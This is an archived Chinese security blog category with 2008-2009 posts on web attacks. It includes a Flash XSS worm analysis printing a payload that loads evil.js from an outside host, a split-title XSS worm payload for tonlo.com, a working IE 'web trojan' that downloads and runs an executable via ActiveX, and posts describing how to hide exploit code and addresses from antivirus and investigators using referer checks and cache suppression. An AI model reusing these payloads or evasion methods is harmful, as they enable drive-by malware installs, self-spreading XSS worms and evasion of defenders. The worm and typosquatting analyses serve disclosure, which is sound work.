This theme is downloaded from wordpress themes website.

Archive for the 'Web2.0 Security' Category

校内网flash xss worm威胁分析

2009-08-21

我们今晚捕获到校内网(http://xiaonei.com or http://www.renen.com/)内传播的flash xss worm,下面是分析。

分析来源:知道安全(http://www.scanw.com/blog/

威胁本质:
校内网的JS函数playswf可以动态地创建一个flash player容器(<embed type=”application/x-shockwave-flash”></embed>),而创建的flash player容器错误地使用了allowScriptAccess属性,代码片段如下:

playswf=function(el,_4e,_4f){
……
el.innerHTML=XN.Template.flash({width:w,height:h,filename:_4e});
……
};
XN.template.flash=function(o){
return “ <embed src=\”"+o.filename+”\” type=\”application/x-shockwave-flash\” “+”width=\”"+(o.width||”320″)+”\” height=\”"+(o.height||”240″)+”\” allowFullScreen=\”true\” wmode=\”"+(o.wmode||”transparent”)+”\”
allowScriptAccess=\”always\”></embed>”;
};

当allowScriptAccess为always时,表明嵌入的第三方swf文件可以执行任意脚本,而执行任意脚本的作用域在当前域(即符合了同源策略)。攻击者此时就可以利用playswf函数的缺陷嵌入任意第三方swf文件而执行恶意脚本。

蠕虫分析:
登录校内网后会看到这个flash xss worm的传播证据:

1

当点击好友分享的视频(该视频来自土豆网)时,会打开一个伪造后的swf,如下,我的noscript拦截了:

2

这个恶意的flash链接是:hxxp://o.99081.com/xnxss/1.swf,它在做什么?看反编译后的源码,这是一段ActionScript脚本:

// Action script…

// [Action in Frame 1]
var fun = “var x=document.createElement(\”SCRIPT\”);x.src=\”http://n.99081.com/xnxss1/evil.js\”; x.defer=true;document.getElementsByTagName(\”HEAD\”)[0].appendChild(x);”;
flash.external.ExternalInterface.call(”eval”, fun);

loadMovie(”http://www.tudou.com/player/outside/player_outside.swf?iid=4120048&default_skin=http://js.tudouui.com/bin/player2/outside/Skin_outside_13.swf&autostart=false&rurl=”, this);

先使用flash.external.ExternalInterface.call调用flash外部DOM的eval函数(JavaScript内置函数)来执行一段JS脚本,该脚本会将http://n.99081.com/xnxss1/evil.js注入到DOM的<head>标签内并执行,执行完毕后再加载真正的视频文件进行播放,看视频的过程,蠕虫核心代码evil.js脚本已经执行,这防不胜防,与我之前测试的饭否网flash csrf worm有着异曲同工的猥琐。

evil.js都做了些什么,无非就是利用了AJAX进行悄然传播,让你也自动分享同样的视频,你的好友收到新鲜事提醒后,观看视频,继续传播,几何级数,蠕虫就是这样。其他不重要的细节就不提了,关键的一点是:如上面两张图,点击视频缩略图后,为什么播放的是恶意的swf文件,而不是真正的视频文件(来自土豆网的视频)?抓包分析,如下图(我用优酷的视频做个测试):

3

这是在分享视频的过程中抓下的表单提交的数据,其中summary可以修改为任意第三方的swf文件地址,其他字段就随便吧。evil.js的传播、利用原理就是这样。

修补建议:
这个flash xss worm能爆发,原因就在上面提到的playswf函数的缺陷:allowScriptAccess为always是不安全的。校内网该如何去修补?校内网中用户分享的视频应该都来自第三方,如果allowScriptAccess不设置为always会影响到这些视频的播放吗?否则建议校内网在分享视频的表单提交中判断好summary字段的值,应该建立个白名单,只允许接收来自某些比较大的、可信的视频提供商的视频(比如优酷、土豆、youtube等)。

后记:
刚开始看到校内网这个蠕虫,我第一反应是csrf worm,类似我上次测试饭否的那个,因为校内网csrf漏洞实在太多,而且有些非常严重,官方不重视,还是不知道?分析时才发现是xss worm。只是这次创新了点,用flash封装了下。基于web传播的worm危害其实可以很大的,这次传播的蠕虫本身没什么危害,假如顺便挂个马呢?

知道创宇 - 余弦

Popularity: 14% [?]

Web2.0 Security Cos 22 Aug 2009 No Comments

奥运期间挂马的侧重手段

在最近一段时间,知道安全应急团队捕获了一些利用相似域名,输入错误域名来挂马的行为.

这类攻击的对象一般是不输入上网的人(他们会容易输入域名),粗心的人(我也是输入域名错了发现挂马),外国友人(他们不熟悉国内网站,容易输入错误).

由于奥运到来,可能会有很多人通过网络的便利性来获取更快更多的赛事信息,这样的攻击能够有效地影响到网友的网络方面的安全,特别是外国友人容易受到影响.

例如:

08081501.jpg

大家想上去搜狐的时候,可能会有很多人拼搜狐(souhu.com),而这个souhu.com却是一个充满恶意的域名,它不存在网站,在它的代码里,连接了几个恶意的地址,来攻击访问它的人.

而输入 google.cn的时候,也许会有人少输入了一个o,但这个gogle.cn是还没有被使用的域名,那它怎么可能还有恶意呢?

由于在我们输入错误域名的时候,DNS解析会转向到一个服务提供商所指定的一个网页,例如114搜索之类的,而这个gogle.cn所转向的域名是一个常见的地方(假如你经常输错域名的话):OK365的搜索.

而恶意的来源就是OK365的搜索返回页面被挂马了.

所以,在你输入错误的域名以后,你就会被转到一个带有OK365搜索的页面里,从而触发了OK365上的恶意代码.

   附:

         这两个站点都是挂了hXXp://www.cao-2.cn/a0252580/a25.htm,它利用了以下漏洞:

                    

ms06-014

Access快照工具漏洞

flash漏洞

联众游戏漏洞

realplayer漏洞

暴风播放器漏洞

新浪电视漏洞

 

关于这个挂马域名 www.cao-2.cn与上次的仿新浪挂马是同一伙人所为,他们在奥运期间注册了相似度高的域名进行挂马,还在DNS转向过去的365搜索挂马.他们所使用的域名还包括www.cao-1.cn,www.cao-2.cn等,已经移交CNCERT/CC处理.

建议网友安装杀毒软件来防御病毒的入侵,安装365门神来弥补杀毒软件对WEB方面的防护.

Popularity: 34% [?]

Web2.0 Security GreySign 16 Aug 2008 No Comments

tonlo.com XSS Trap

漏洞说明: 同楼网tonlo.com是一个类似于校内网的SNS网络,发一篇文章时,在文章列表中输出的标题过滤不严导致XSS Trap的出现,即使标题的字符数上限为30,我们还是有办法构造出邪恶的XSS Worm。

漏洞来源:知道安全(http://www.scanw.com/blog/

漏洞分析:发一篇文章时,标题的字符数上限为30,如下图:

z

不过在文章列表中,标题就跨了(如下图,其它状态不跨)。看来这个SNS网络没对输入的字符进行有效过滤,而单单对输出进行过滤。30个字符限制能做什么呢?假如仅为了证明有XSS漏洞,那就简单一句</a><img src= onerror=alert()>。可如果想爆发Worm,那该怎么办?

我们可以使用拆分跨站法连续发表四篇文章,如下:

标题一:<script>o=’<script src=’;/*
标题二:*/o+=’http://www.0×37.co’;/*
标题三:*/o+=’m/tl.js><\/script>’;/*
标题四:*/document.write(o)</script>

/**/之内的字符自动被注释掉,于是<script></script>标签内的脚本将顺利执行。最终的效果如下:

<h1><a href=”show.shtml?logsNumber=25748″><script>o=’<script src=’;/*</a></h1>
   <div>……
<h1><a href=”show.shtml?logsNumber=25747″>*/o+=’http://www.0×37.co’;/*</a></h1>
   <div>……
<h1><a href=”show.shtml?logsNumber=25746″>*/o+=’m/tl.js><\/script>’;/*</a></h1>
   <div>……
<h1><a href=”show.shtml?logsNumber=25745″>*/document.write(o)</script></a></h1>

据我的分析,这个SNS网络通过这个方法来构造XSS Trap并传播Worm是一件很容易的事。因为在“最新日志”列表中将会显示全站所有用户的最新日志。也就是说我构造的XSS Trap可以被其他验证用户轻易看到。

Popularity: 11% [?]

Web2.0 Security Cos 15 Jun 2008 No Comments

IE0DAY网马

这个漏洞参考http://www.milw0rm.com/exploits/5619

Author: Greysign

2008-5-24

Team:http://www.scanw.com/blog

哈哈。标题吸引吗。

修改代码请注意不能使用双引号”,注意不能跨域,还有一些其他零碎的问题自己调试吧。

这个漏洞执行后可以远程下载任意文件并执行。

第一次写网马,只好拿鸡PP搓成鸡胸,这样垃圾的漏洞才能放出来~哈哈。

不过。这个漏洞利用的好也可以玩一玩的。

<html>
<body>
Print me with table of links to execute
<a href=”http://www.bla.com?x=b<script defer >
var   ForWriting   =   2;
var   strFile   =   ‘c:\\test2.js’;
var   objFSO   =   new   ActiveXObject(’Scripting.FileSystemObject’);     
var   objStream   =   objFSO.OpenTextFile(strFile,ForWriting,true,false);  
objStream.WriteLine(’var objArgs = \’http://127.0.0.1/test.exe\’;');
objStream.WriteLine(’var objargss =\’c:\\\\gtest.exe\’;');
objStream.WriteLine(’var sGet=new ActiveXObject(\’ADODB.Stream\’);’);
objStream.WriteLine(’var xGet = false;’);
objStream.WriteLine(’try {’);
objStream.WriteLine(’xGet = new XMLHttpRequest();’);
objStream.WriteLine(’} ‘);
objStream.WriteLine(’catch (trymicrosoft) {’);
objStream.WriteLine(’try {’);
objStream.WriteLine(’    xGet = new ActiveXObject(\’Msxml2.XMLHTTP\’);’);
objStream.WriteLine(’} ‘);
objStream.WriteLine(’catch (othermicrosoft) {’);
objStream.WriteLine(’    try {’);
objStream.WriteLine(’      xGet = new ActiveXObject(\’Microsoft.XMLHTTP\’);’);
objStream.WriteLine(’    } ‘);
objStream.WriteLine(’catch (failed) {’);
objStream.WriteLine(’      xGet = false;’);
objStream.WriteLine(’    }’);
objStream.WriteLine(’}');
objStream.WriteLine(’}');
objStream.WriteLine(’xGet.Open (\’GET\’,objArgs.toLowerCase(),0);’);
objStream.WriteLine(’xGet.Send();’);
objStream.WriteLine(’sGet.Mode=3;’);
objStream.WriteLine(’sGet.Type=1;’);
objStream.WriteLine(’sGet.Open();’);
objStream.WriteLine(’sGet.Write (xGet.ResponseBody);’);
objStream.WriteLine(’sGet.SaveToFile (objargss.toLowerCase(),2);’);
objStream.WriteLine(’var x=new ActiveXObject(\’WScript.Shell\’);’);
objStream.WriteLine(’x.Run(objargss);’);
objStream.Close();
var   objShell   =   new   ActiveXObject(’wscript.shell’);  
objShell.Run(strFile);
</script>a.c<u>o</u>m”></a>
<script>window.print();</script>
</body>
</html>

Popularity: 17% [?]

Web2.0 Security GreySign 24 May 2008 No Comments

网马躯干

Author: Greysign

2008-5-23

http://www.scanw.com/blog

余弦不久之前写了网马中枢,是关于服务端应用的一小角,他还说有其他更复杂的应用,一直等着他的BLOG更新,还是未见他写出来。最近大家都很忙。

关于网马代码,exploit固然重要,但除了exploit之外的网马框架加强对于网马功能扩展也是必然的发展趋势。网马中枢里面用了include ,读取文件等方式来隐藏EXP的地址,不过,EXP代码完全暴露出来了,那就无法阻止代码被剽窃,被取证等行为。

我已经很久没有写点什么了,就放一点服务端技术的应用和小注释吧。不是什么新技术,只是实现一些在现实中比较实用的东西,大牛赶紧飘过。

我们已经有了网马中枢了,那么,如何来隐藏我们的EXP代码以及地址呢?哈哈。这不难。跟着我的思路吧。

——————华丽地分割——————–

利用网马中枢提到的include ,读取文件这2个方式,已经可以隐藏了地址,在最后调用的HTM(last_trojan.html)写入以下代码:

document.write(”<script src=http://www.scanw.com/blog/done.asp></script>”);

/*继续调用一个JS文件*/

在done.asp里写入以下代码:

<%
Response.Buffer   =   True    
Response.ExpiresAbsolute   =   Now()   -   1    
Response.Expires   =   0    
Response.CacheControl   =   “no-cache”    
Response.AddHeader   “Pragma”,   “No-Cache”
Dim hr
hr=Request.ServerVariables(”HTTP_REFERER”)
If InStr(hr,”greysign”) > 0 or InStr(hr,”scanw”) > 0 Then
%>
alert(’aaa’)
<%
End If
%>

这个代码的作用是:打开缓存,将页面设置为立即过期,Now()   -   1设置不留缓存文件,这样可以在用户点后退的时候没有缓存文件可以查看,变成直接的HTTP请求,然后获取HTTP_REFERER,判断HTTP_REFERER来源玉米是否带有我们的字符串(即判断来源网站是否是我们的网站),假如包含字符串,就执行alert(’aaa’),假如不包含(不是来自我们的网站的连接请求),那么就什么都不返回执行。

结合以上的所有手段,我们就实现了地址隐藏和代码隐藏了。

什么?代码哪里隐藏了?

你可以查看下原代码。只留下了调用done.asp的痕迹,你直接打开done.asp是无法看到代码的。缓存文件也没留下,杀软们去比对特征码吧……

当然了。这个只是功能的演示和思路的扩展,你可以利用几个玉米跳来跳去,把自己藏着深深地,让安全公司的爬虫抓不到你,除非他们一直把referer记着,不断地深入追踪你。不然他们只追到其中某几级的地址就咯屁了,而且很多时候他们只有挂马页的地址,更不用说前几级的referer是从哪个星球来的。

到了这里大家应该清楚了吧。跟ITSUN用PHP实现的隐蔽有点相似,但它还是留下了缓存给我取证。

大家有兴趣就加上cookies判断等东西,打造无敌躯干。没缓存文件对比特征,爬虫抓不到你,手工追踪狡兔三窟,cookies判断虚实不定……好吧,你说你用影音嗅探非把我的地址给揪出来。不过那是不可能的。

这样的迷踪步,我都没有把握能捕获到EXP。特别是我可不会为了一个挂马地址花上大把的时间去追踪,我又不是金田一……

所以以后拿到EXP直接往done.asp的判断里丢,有兴趣的还可以加个密免个杀变个型整个容炒个作唬个烂上个镜出个名。

不知不觉我边聊QQ边写的文章又开始唬烂了……都忘记该写什么了。好吧。。大家看演示页打包吧:

http://www.scanw.com/ggtest/demo.rar

在此先讲2件事,有人叫我大G或者G大,其实这中间有误会,我叫小G,而大G和G大的叫法应该是大GG和GG大演变来的。

更多关于网马的内容请关注知道安全

Popularity: 13% [?]

Web2.0 Security GreySign 23 May 2008 No Comments

网马中枢

其实想想就会知道,网马的exp总会有暴露的时刻,也就是说,我的系统环境只要满足条件就可以获得这个网马的exp。通过结合服务端的技术手段,我们可以隐藏网马exp的地址,但是却无法保证这个exp不暴露出来,exp终究要在你的浏览器上执行恶意行为。

比如下面code可以隐藏网马exp的地址,却不得不暴露出这个exp:

http://127.0.0.1/s_trojan/index.html的代码:<script src=”http://127.0.0.1/s_trojan/blackbox_0.asp”></script>

http://127.0.0.1/s_trojan/blackbox_0.asp的代码:<!– #include file=”blackbox_1.asp” –>

http://127.0.0.1/s_trojan/blackbox_1.asp的代码:

document.write(’js go here……’)
<%
function xss()
response.write “alert(’hello asp.’);”
end function
xss()
function f(filename)
set objFSO=Server.CreateObject(”Scripting.FileSystemObject”)
set objCountFile=objFSO.OpenTextFile(Server.MapPath(filename),1,True)
f=objCountFile.readall
objCountFile.close
set objCountFile=nothing
set objFSO=nothing
end function
x=f(”last_trojan.html”)
response.write x
%>
trojan()

最终的网马exp地址为http://127.0.0.1/s_trojan/last_trojan.html。blackbox_1.asp的代码既要保证服务端正确执行,又要保证客户端能正确执行其最终的JS代码。其实这些中间asp文件会暴露最终的网马exp的内容。但是却不会暴露地址。

结合服务端技术其实能做很多事,网马也将更加强大,更容易以服务端为中心而被控制着:-)。强大的网马中枢应该要能判断目标系统的环境而选择性地运行,并有详细的统计功能。这样会给跟踪者带来许多麻烦:-)。但,是不是能真正隐藏网马exp呢?原则上是不行的,因为exp总要输出,否则你的浏览器漏洞如何被触发?

Popularity: 11% [?]

Web2.0 Security GreySign 13 May 2008 No Comments

Recommended: Buy movies online.